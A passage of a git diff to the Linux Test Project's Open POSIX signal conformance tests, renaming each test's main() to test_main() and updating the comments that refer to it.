a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/2-1.c index 4c74da1f..7ca24b04 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/2-1.c @@ -55,7 +55,7 @@ static void handler() } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/3-1.c index 33597eba..73298b4c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/3-1.c @@ -17,9 +17,9 @@ - Inside the handler, use sigaltstack to examine/obtain the current alternate signal stack and verify: 1. The ss_sp member of the obtained alternate signal stack is equal to the ss_sp - that we defined in the main() function. + that we defined in the test_main() function. 2. The ss_size member of the obtained alternate signal stack is equal to the ss_size - that we defined in the main() function. + that we defined in the test_main() function. */ @@ -57,7 +57,7 @@ static void handler() } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/5-1.c index c86c6b3f..453adfae 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/5-1.c @@ -23,7 +23,7 @@ static void handler() printf("Do nothing useful\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { stack_t alternate_s, current_s; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/6-1.c index e3fd178e..59fa5c24 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/6-1.c @@ -45,7 +45,7 @@ static void handler() } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/7-1.c index 831a434e..45ae098e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/7-1.c @@ -48,7 +48,7 @@ static void handler() } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/8-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/8-1.c index 0ab9731c..18f84b19 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/8-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/8-1.c @@ -45,7 +45,7 @@ static void handler() } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/9-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/9-1.c index e9f9a8f7..e5741fa8 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/9-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/9-1.c @@ -35,7 +35,7 @@ static stack_t a; -int main(int argc, char *argv[]) +int test_main(int argc, char **argv) { int rc; char path[PATH_MAX + 1]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigdelset/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigdelset/1-1.c index 6a23e2bd..4ee703ad 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigdelset/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigdelset/1-1.c @@ -19,7 +19,7 @@ #include <signal.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t signalset; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigdelset/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigdelset/1-2.c index d9834e1b..286b63fc 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigdelset/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigdelset/1-2.c @@ -19,7 +19,7 @@ #include <signal.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t signalset; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigdelset/1-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigdelset/1-3.c index 71e1896a..79ff782e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigdelset/1-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigdelset/1-3.c @@ -17,7 +17,7 @@ #include <signal.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t signalset; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigdelset/1-4.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigdelset/1-4.c index 35a7db22..17f65da7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigdelset/1-4.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigdelset/1-4.c @@ -11,7 +11,7 @@ #include <signal.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t signalset; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigdelset/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigdelset/4-1.c index 10628274..9e127b6e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigdelset/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigdelset/4-1.c @@ -26,7 +26,7 @@ static const int sigs[] = {-1, -10000, INT32_MIN, INT32_MIN + 1}; #define NUMSIGNALS (sizeof(sigs) / sizeof(sigs[0])) -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t signalset; int i, ret, err = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigemptyset/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigemptyset/1-1.c index a75951d2..47f5e131 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigemptyset/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigemptyset/1-1.c @@ -17,7 +17,7 @@ #define NUMSIGNALS (sizeof(siglist) / sizeof(siglist[0])) -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int siglist[] = { SIGABRT, SIGALRM, SIGBUS, SIGCHLD, diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigemptyset/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigemptyset/2-1.c index 90a099ac..6a7537ea 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigemptyset/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigemptyset/2-1.c @@ -13,7 +13,7 @@ #include <signal.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t signalset; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigfillset/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigfillset/1-1.c index b51f3d60..38d8f194 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigfillset/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigfillset/1-1.c @@ -16,7 +16,7 @@ #define NUMSIGNALS (sizeof(siglist) / sizeof(siglist[0])) -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t signalset; int i, test_failed = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigfillset/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigfillset/2-1.c index 27fac03c..5ff355e8 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigfillset/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigfillset/2-1.c @@ -12,7 +12,7 @@ #include <signal.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t signalset; /* diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sighold/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sighold/1-1.c index d00e4e11..ac01d05d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sighold/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sighold/1-1.c @@ -26,7 +26,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct timespec signal_wait_ts = {0, 100000000}; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sighold/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sighold/2-1.c index 8b0a308e..7d2c05ee 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sighold/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sighold/2-1.c @@ -14,7 +14,7 @@ #include <signal.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (sighold(SIGABRT) != 0) { diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sighold/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sighold/3-1.c index 9bbab5b8..8aed9e84 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sighold/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sighold/3-1.c @@ -23,7 +23,7 @@ static const int sigs[] = {-1, -10000, INT32_MIN, INT32_MIN + 1}; #define NUMSIGNALS (sizeof(sigs) / sizeof(sigs[0])) -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int i, ret, err = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigignore/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigignore/1-1.c index 97a926f1..5ebbdafe 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigignore/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigignore/1-1.c @@ -25,7 +25,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigignore/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigignore/4-1.c index 509a6fd5..6d1fd299 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigignore/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigignore/4-1.c @@ -12,7 +12,7 @@ #include <signal.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (sigignore(SIGABRT) != 0) { perror("sigignore failed"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigignore/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigignore/5-1.c index 1aa1b6b2..127b666b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigignore/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigignore/5-1.c @@ -22,7 +22,7 @@ static const int sigs[] = {-1, -10000, INT32_MIN, INT32_MIN + 1}; #define NUMSIGNALS (sizeof(sigs) / sizeof(sigs[0])) -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int i, ret, err = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigignore/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigignore/6-1.c index 92717222..31e20003 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigignore/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigignore/6-1.c @@ -18,7 +18,7 @@ #include <stdint.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (sigignore(SIGKILL) == -1) { if (errno == EINVAL) { diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigignore/6-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigignore/6-2.c index 1888798e..8b352ea4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigignore/6-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigignore/6-2.c @@ -18,7 +18,7 @@ #include <stdint.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (sigignore(SIGSTOP) == -1) { if (EINVAL == errno) { diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigismember/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigismember/3-1.c index 15eb2682..998be16b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigismember/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigismember/3-1.c @@ -12,7 +12,7 @@ #include <signal.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t signalset; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigismember/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigismember/4-1.c index 51bcb5b4..ff2eaaa3 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigismember/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigismember/4-1.c @@ -14,7 +14,7 @@ #include <signal.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t signalset; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigismember/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigismember/5-1.c index 439a1787..e3eb20d3 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigismember/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigismember/5-1.c @@ -25,7 +25,7 @@ static const int sigs[] = {-1, -10000, INT32_MIN, INT32_MIN + 1}; #define NUMSIGNALS (sizeof(sigs) / sizeof(sigs[0])) -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t signalset; int i, ret, err = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/signal/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/signal/1-1.c index c4ebf5be..7416bdba 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/signal/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/signal/1-1.c @@ -30,7 +30,7 @@ static void myhandler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (signal(SIGCHLD, myhandler) == SIG_ERR) { perror("Unexpected error while using signal()"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/signal/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/signal/2-1.c index 35b7f49e..40bb9ea8 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/signal/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/signal/2-1.c @@ -29,7 +29,7 @@ static void myhandler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (signal(SIGCHLD, myhandler) == SIG_ERR) { perror("Unexpected error while using signal()"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/signal/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/signal/3-1.c index 914be597..fbea54b6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/signal/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/signal/3-1.c @@ -27,7 +27,7 @@ static void myhandler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (signal(SIGCHLD, myhandler) == SIG_ERR) { perror("Unexpected error while using signal()"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/signal/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/signal/5-1.c index e07399d3..837b214b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/signal/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/signal/5-1.c @@ -32,7 +32,7 @@ static void SIGUSR2_handler(int signo PTS_ATTRIBUTE_UNUSED) printf("do nothing useful\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (signal(SIGUSR1, SIGUSR1_handler) == SIG_ERR) { perror("Unexpected error while using signal()"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/signal/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/signal/6-1.c index e49045ad..385c175c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/signal/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/signal/6-1.c @@ -22,7 +22,7 @@ static void myhandler(int signo PTS_ATTRIBUTE_UNUSED) printf("handler does nothing useful.\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { errno = -1; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/signal/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/signal/7-1.c index f70f85ee..e25a91b7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/signal/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/signal/7-1.c @@ -22,7 +22,7 @@ static void myhandler(int signo PTS_ATTRIBUTE_UNUSED) printf("handler does nothing useful.\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { errno = -1; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigpause/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigpause/1-1.c index c7798d66..6669c910 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigpause/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigpause/1-1.c @@ -8,13 +8,13 @@ This program verifies that sigpause() removes sig from the signal mask. Steps: - 1. From the main() function, create a new thread. Give the new thread a + 1. From the test_main() function, create a new thread. Give the new thread a a second to set up for receiving a signal, and to suspend itself using sigpause(). - 2. Have main() send the signal indicated by SIGTOTEST to the new thread, + 2. Have test_main() send the signal indicated by SIGTOTEST to the new thread, using pthread_kill(). After doing this, give the new thread a second to get to the signal handler. - 3. In the main() thread, if the handler_called variable wasn't set to 1, + 3. In the test_main() thread, if the handler_called variable wasn't set to 1, then the test has failed, else it passed. */ @@ -49,7 +49,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigpause/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigpause/1-2.c index ef4e7243..dd8602a0 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigpause/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigpause/1-2.c @@ -9,10 +9,10 @@ until it receives a signal. Steps: - 1. From the main() function, create a new thread. Give the new thread a + 1. From the test_main() function, create a new thread. Give the new thread a a second to set up for receiving a signal, and to suspend itself using sigpause(). - 2. For about ten seconds, keep checking from main() that the "returned" + 2. For about ten seconds, keep checking from test_main() that the "returned" variable hasn't been set yet. If it has, that means that sigpause returned even before a signal was sent to it, thus FAIL the test. 3. After the ten seconds, send the new thread a signal using pthread_kill, @@ -50,7 +50,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; int i; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigpause/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigpause/2-1.c index a703b326..6d560a4d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigpause/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigpause/2-1.c @@ -9,20 +9,21 @@ returning. Steps: - 1. From the main() function, create a new thread. Give the new thread a + 1. From the test_main() function, create a new thread. Give the new thread a second to set up for receiving a signal, add SIGTOTEST to its signal mask and to suspend itself using sigpause(SIGTOTEST). - 2. Have main() send the signal indicated by SIGTOTEST to the new thread, - using pthread_kill(), and using the concept of semaphores, have the main() + 2. Have test_main() send the signal indicated by SIGTOTEST to the new thread, + using pthread_kill(), and using the concept of semaphores, have the + test_main() 3. Once the new thread returns from sigpause, have the new thread raise SIGTOTEST. At this point, SIGTOTEST should be restored to the signal mask, so the signal handler should not be called yet, and the signal should be pending. If it is not, set the variable return_value to 1, indicating a test failure. - 4. Now, from the new thread, set sem back to INMAIN to allow main to continue - running. - 5. The PTS exit code that main() will return with will depend on the value of - return_value: + 4. Now, from the new thread, set sem back to INMAIN to allow test_main to + continue running. + 5. The PTS exit code that test_main() will return with will depend on the + value of return_value: PTS_UNRESOLVED if return value is 2 PTS_PASS if return value is 0 PTS_FAIL if return value is 1 @@ -83,7 +84,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigpause/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigpause/3-1.c index b7cfdac3..996244f7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigpause/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigpause/3-1.c @@ -9,10 +9,10 @@ when it returns. Steps: - 1. From the main() function, create a new thread. Give the new thread a + 1. From the test_main() function, create a new thread. Give the new thread a a second to set up for receiving a signal, and to suspend itself using sigpause(). - 2. From the main() thread, send signal to new thread to make sigpause return. + 2. From the test_main() thread, send signal to new thread to make sigpause return. 3. Verify that sigpause returns -1 and sets errno to EINTR. */ @@ -69,7 +69,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigpause/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigpause/4-1.c index 50cf4799..71d99e70 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigpause/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigpause/4-1.c @@ -21,14 +21,14 @@ #define SIGTOTEST SIGABRT #if 0 && defined(__FreeBSD__) || defined(__NetBSD__) || defined(__OpenBSD__) -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { printf("Function definition doesn't match POSIX definition " "and preceded POSIX definition; interface is obsolete\n"); return PTS_UNSUPPORTED; } #else -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int return_value = 0; int result; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigpending/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigpending/1-1.c index 2f5d54d8..ba8bc8fe 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigpending/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigpending/1-1.c @@ -17,7 +17,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t blockset; sigset_t prevset; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigpending/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigpending/1-2.c index 3537ce85..7369c304 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigpending/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigpending/1-2.c @@ -76,7 +76,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigpending/1-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigpending/1-3.c index 80aa4a6d..110fb2f8 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigpending/1-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigpending/1-3.c @@ -76,7 +76,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t blockset; sigset_t prevset; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigpending/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigpending/2-1.c index aba812c3..d04ca588 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigpending/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigpending/2-1.c @@ -16,7 +16,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t blockset; sigset_t prevset; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/10-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/10-1.c index 62d718f5..df6acfd9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/10-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/10-1.c @@ -15,7 +15,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t set1, set2; int sigprocmask_return_val = 1; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/12-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/12-1.c index a6c5a3f4..b73d5954 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/12-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/12-1.c @@ -62,7 +62,7 @@ static int get_rand(void) return r; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int r = get_rand(); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/15-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/15-1.c index 62f1a42b..6b68be7f 100644 --- 